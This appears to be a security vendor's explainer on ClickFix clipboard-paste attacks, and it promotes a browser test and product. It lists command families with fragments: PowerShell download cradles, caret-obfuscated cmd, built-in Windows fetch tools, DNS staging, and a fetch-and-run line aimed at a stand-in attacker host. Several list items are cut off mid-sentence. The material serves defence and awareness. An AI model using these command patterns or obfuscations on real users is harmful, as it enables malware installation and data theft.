No attachment, no download, no software bug. A web page puts a command on your clipboard and talks you into pasting it into Run or Terminal. You run the malware yourself, with your own permissions, using programs your computer already trusts. Here's how it works, why most defenses miss it, and a free test of whether yours catch it.
Every ClickFix attack has the same skeleton. Only the story around it changes.
You land on a page from a search ad, a hacked site, a phishing email or a fake meeting invite. It shows something familiar: a CAPTCHA, a “page failed to load” error, a broken-camera notice, a missing font.
You click “I'm not a robot” or “Fix it”. The page silently writes a command to your clipboard. Nothing downloads and nothing asks permission, because browsers let a page write to the clipboard when you click.
The page gives you “verification steps”: press Win+R, Ctrl+V, Enter. On a Mac: open Terminal, paste, press Return. The command fetches the real malware, usually an infostealer, and runs it as you.
The command is often made to look harmless when pasted. A long run of spaces pushes the real command out of view, and the only visible part reads ✅ I am not a robot - Verification ID: 4821.
It spreads because it gets around the defenses most organisations rely on:
The email carries a link, not a file. The page behind it can show a harmless version to scanners and the lure only to real visitors.
No file ever comes through the browser, so download scanning, Mark-of-the-Web and SmartScreen never see the first stage.
The command uses PowerShell, mshta, certutil, curl and other tools Windows and macOS ship with and sign themselves (“living off the land”).
To the operating system, a person opened Run and typed a command. No exploit fires and no permission prompt appears.
Attack kits keep changing the command so that a filter written for last month's version misses this month's. The test below plants 48 variants across these families. A rule written for one row rarely catches the next.
| Family | What it looks like | Why it slips through |
|---|---|---|
| PowerShell cradle | powershell -w hidden -c "iex(iwr …)" | The classic. Most filters key on the word powershell. |
| No launcher | irm https://… | iex pasted into Terminal (Win+X) | No powershell word anywhere. The lure tells you to open the Terminal yourself. |
| Hidden or encoded | -EncodedCommand, base64, hex, [char] codes, string splitting | The command never appears in readable form. |
| Obfuscated cmd | p^o^w^e^r^s^h^e^l^l, set a=msh&& set b=ta&& %a%%b% | cmd.exe removes the carets and expands the variables. A filter that doesn't do the same sees nothing. |
| Living off the land | mshta, certutil, bitsadmin, regsvr32, rundll32, msiexec, forfiles, wmic, cscript, schtasks, esentutl, finger and more | 29 different built-in Windows programs that can fetch and run code. Each one needs its own rule. |
| Protocol handlers | search-ms:, ms-appinstaller:, WebDAV \\host@SSL\… | Opens a remote folder or installer through Explorer. Nothing looks like a script. |
| FileFix | A file path pasted into the File Explorer address bar | Not even Run or Terminal. The “path” is really a command followed by padding. |
| DNS staging | nslookup / dig of a TXT record, output piped to a shell | The next stage arrives as DNS, which web filters don't look at. |
| macOS and Linux | curl | bash, base64 to osascript, xattr -d com.apple.quarantine, Python one-liners | Mac users are told to open Terminal. Gatekeeper never sees a downloaded app. |
The lures vary as much as the commands. The test's lure picker shows each of these, marked as a Nithic simulation:
Developer tools tell you to do exactly what ClickFix does. To install Claude Code, Homebrew, Rust or uv, the official docs give you a one-liner that downloads a script and pipes it into your shell. A filter that blocks every curl | bash or irm | iex breaks every developer's day, and they turn it off.
irm https://claude.ai/install.ps1 | iex
Copied from the vendor's own docs. The script comes from the vendor's own server.
irm https://claude-ai-setup.example/install.ps1 | iex
The same command, but the script comes from the attacker's server, usually on a fake “install guide” page bought as a search ad.
How Nithic tells them apart: by who serves the script. An attacker can copy a vendor's command word for word, but they can't make it fetch from a server they don't control. Nithic lets a command through only when three things hold:
;, && or a second line.Even then it shows a notice rather than staying silent. A real installer still runs someone's code, and it belongs in a terminal you opened yourself, never in a Run box or a “verification” step. The test below plays both halves: 48 attacks that should be blocked, and seven real install commands that should get through.
Win+R, Win+X or Terminal is an attack.mshta or cmd started by explorer.exe with a network fetch on the command line.mshta, regsvr32, certutil -urlcache) with AppLocker / WDAC or attack surface reduction rules.NoRun policy), and check the RunMRU registry key during investigations, since it records what was typed into Run.This test plays the attacker. It tries to plant 48 ClickFix commands on your clipboard, using all three ways a page can write there, and reports which ones your browser and security tools stopped. Then it copies seven real vendor install commands and checks that they were not blocked, because a tool that blocks those gets switched off. Use the lure picker to see what these attacks look like in the wild. That's useful for training, too.
Safe by design: every attack command only prints NITHIC CLICKFIX TEST plus a random token. The risky-looking part sits behind a comment (# / rem) and points at a .invalid address that can never resolve. The hidden and obfuscated variants decode to the same echo. The DNS-staged lure looks up one name on our own DNS server, so it can tell you whether a pasted command actually ran. The legitimate commands are the vendors' real installers, so don't run those unless you want the software. The test leaves harmless text on your clipboard when it finishes.
Nithic watches every clipboard write in the browser. It blocks ClickFix commands before they reach your clipboard, lets real install commands through with a notice, and warns you when a page tells you to open Run or Terminal and paste.